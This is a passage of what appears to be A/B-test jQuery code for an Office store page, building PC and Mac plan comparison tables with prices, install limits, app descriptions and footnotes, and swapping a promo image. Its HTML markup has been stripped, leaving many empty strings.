    '].join('\\n');\n\n$('section.office-compare').append(tableToggler);\n\nvar forpcTable = ['',\n\t\t\t\t\t'',\n '',\n '',\n '',\n '',\n\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n '',\n '',\n '',\n '',\n '',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n '',\t\t\t\t\t\t\t\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\t\t\t\t\t\t\t\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\t\t\t\t\t\t\t\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t' ',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t'
    Most Popular
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    Home

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    Personal

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    University

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office Home &
    Student 2013

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office Home &
    Business 2013

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Price',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $99.99 per year',\n\t\t\t\t\t\t\t\t\t'
    $9.99 per month
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $69.99 per year',\n\t\t\t\t\t\t\t\t\t'
    $6.99 per month
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $79.99',\n '
    4-year subscription',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $139.99',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $219.99',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Installations1',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    5 PCs or Macs',\n\t\t\t\t\t\t\t\t\t'
    5 tablets, 5 phones',\n\t\t\t\t\t\t\t\t'
    \t',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC or Mac',\n\t\t\t\t\t\t\t\t\t'
    1 tablet, 1 phone',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2 PCs, Macs or tablets,
    2 phones
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC only
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC only
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Works on Mac
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Capture notes, pictures, web pages, media, and more all in one place.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Organize email, coordinate schedules, and stay up to date with contacts easily and quickly.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Create your own custom database apps fast, and harness the power of your data.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'Print and share professional-looking publications with powerful, easy-to-use tools.',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1TB Cloud Storage
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Skype minutes3
    ',\n\t\t\t\t\t\t\t'
    60 minutes
    per month
    60 minutes
    per month
    60 minutes
    per month
    ',\n\t\t\t\t\t\t\t\t'
    Always up-to-date',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    You\\'ll always have the latest features and services\u2014you\\'ll never be stuck with an outdated version.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Tech Support',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Get help right away by phone or chat at no extra charge.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    '].join('\\n');\n\n$('section.office-compare').append(forpcTable);\n\n\n\n/* For Mac */\nvar formacTable = ['',\n\t\t\t\t\t'',\n '',\n '',\n '',\n '',\n\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n '',\n '',\n '',\n '',\n '',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n '',\t\t\t\t\t\t\t\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\t\t\t\t\t\t\t\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\t\t\t\t\t\t\t\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t' ',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t'
    Most Popular
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    Home

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    Personal

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    University

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office for Mac
    Home & Student 2011

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office for Mac
    Home & Business 2011

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Price',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $99.99 per year',\n\t\t\t\t\t\t\t\t\t'
    $9.99 per month
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $69.99 per year',\n\t\t\t\t\t\t\t\t\t'
    $6.99 per month
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $79.99',\n '
    4-year subscription',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $139.99',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $219.99',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Installations1',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    5 PCs or Macs',\n\t\t\t\t\t\t\t\t\t'
    5 tablets, 5 phones',\n\t\t\t\t\t\t\t\t'
    \t',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC or Mac',\n\t\t\t\t\t\t\t\t\t'
    1 tablet, 1 phone',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2 PCs, Macs or tablets,
    2 phones
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 Mac only
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 Mac only
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Works on Mac
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Capture notes, pictures, web pages, media, and more all in one place.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Organize email, coordinate schedules, and stay up to date with contacts easily and quickly.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Create your own custom database apps fast, and harness the power of your data.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'Print and share professional-looking publications with powerful, easy-to-use tools.',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1TB Cloud Storage
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Skype minutes3
    ',\n\t\t\t\t\t\t\t'
    60 minutes
    per month
    60 minutes
    per month
    60 minutes
    per month
    ',\n\t\t\t\t\t\t\t\t'
    Always up-to-date',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    You\\'ll always have the latest features and services\u2014you\\'ll never be stuck with an outdated version.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Tech Support',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Get help right away by phone or chat at no extra charge.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    '].join('\\n');\n\n$('section.office-compare').append(formacTable);\t\t\n\n\n/* onclick events */\njQuery('.toggle-wrapper a').on('click', function(){\n\tvar parent = jQuery(this).closest('.toggle-wrapper'),\n\t\tindex = jQuery(this).index();\n\t\n\tjQuery('a', parent).removeClass('active');\n\tjQuery(this).addClass('active');\n\t\n\tjQuery('.exp-comparetable').removeClass('active');\n\tjQuery('.exp-comparetable:eq(' + index + ')').addClass('active');\n});\n\n\n/* Info Icons */\n\t//Custom Tooltips\n\tjQuery('body').on('mouseenter.toggletooltip','.info-icon', function(){\n\t\tvar _this = $(this);\n\t\t\n\t\tjQuery('.custom-tooltip', _this).removeAttr('style');\n\t\t\n //Close any open tooltips\n jQuery('.info-icon').removeClass('selected');\n \n\t\t//Open the current tooltip\n\t\t_this.addClass('selected');\n\t\t\n\t\t//Bind mouse leave event to open tooltip\n\t\tjQuery('.custom-tooltip', this).one('mouseleave.closetooltip', function(){\n\t\t\tjQuery(this).fadeOut(function(){\n\t\t\t\t_this.removeClass('selected');\n\t\t\t\tjQuery(this).removeAttr('style');\n\t\t\t});\n\t\t\t\n\t\t});\n\t});\n\n//Highlight on mouse enter\n/*\njQuery('.exp-comparetable tr td').on('mouseenter.hide', function(){\n var _index = $(this).closest('td').index();\n \n jQuery('.exp-comparetable tr').each(function(){\n\t jQuery('td:eq(' + _index + ')', this).addClass('highlight')\n });\n\n}).on('mouseleave.show', function(){\n jQuery('.exp-comparetable tr td').removeClass('highlight');\n});\n*/\n\n\n//Highlight odd rows\njQuery('.exp-comparetable:eq(0) tbody tr:even').addClass('odd-row');\n\njQuery('.exp-comparetable:eq(1) tbody tr:even').addClass('odd-row');\n\n\njQuery('.exp-comparetable td').on('hover', function() {\n var _thisIndex = jQuery(this).index();\n \n jQuery(this).parents('table').find('col:eq('+jQuery(this).index()+')').toggleClass('hover');\n jQuery(this).parents('table').find('tr').each(function(){\n\t\tjQuery('td:eq(' + _thisIndex + ')', this).toggleClass('hover');\n });\n});\n\n\n/* Footnotes */\njQuery('.exp-footnotes').html('');\n\njQuery('.exp-footnotes').append('

    1Office 365 plans (Office 365 Home and Office 365 Personal) are compatible only with Windows 7 or later, and Mac OS X 10.6 or later. Office Home & Student 2013, Office Home & Business 2013, and Office Professional 2013 are compatible only with Windows 7 or later. You can install on Windows tablets running Windows 8 or higher, Android tablets running KitKat 4.4, and on iPads running iOS 7.0 or higher.

    ');\n \njQuery('.exp-footnotes').append('

    2Application availability and features vary by platform and device. Publisher and Access with Office 365 are available on PC only. OneNote for Mac is available as a separate download from the Mac App Store. Current Office application versions for Office 365 are Office 2013 for Windows and Office for Mac 2011. Customers with an active subscription will be entitled to the newest versions when available.

    ');\n\njQuery('.exp-footnotes').append('

    3Skype account required. Excludes special, premium, and non-geographic numbers. Calls to mobiles are for select countries only. Skype minutes available in select countries. See FAQ for details.

    ');"},"2362151415":{"code":"$(function(){\n $('body').addClass('exp12115Var');\n $('.full-page-splash:eq(0) .large-container div[data-picture] img[data-source-index=\"2\"]').attr('src', 'http://dri1.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Office/en-US-Mod-D-Office-365-University-desktop.jpg');\n $('.full-page-splash:eq(0) .large-container div[data-picture] div[data-media=\"(min-width: 769px)\"]').attr('data-src', 'http://dri1.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Office/en-US-Mod-D-Office-365-University-desktop.jpg'); \n});"},"2604210168":{},"2570850811":{"code":"$('body').addClass('exp-officecompare-toggler');\n\n//Remove old table\n$('section.office-compare').html('');\n\n\n//Add new table\n\nvar tableToggler = ['
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n 'Home',\n 'Business',\n 'Student',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    '].join('\\n');\n\n$('section.office-compare').append(tableToggler);\n\nvar homeTable = ['',\n\t\t\t\t\t'',\n '',\n '',\n '',\n '',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n '',\n '',\n '',\n '',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n '',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t' ',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t'
    Most Popular
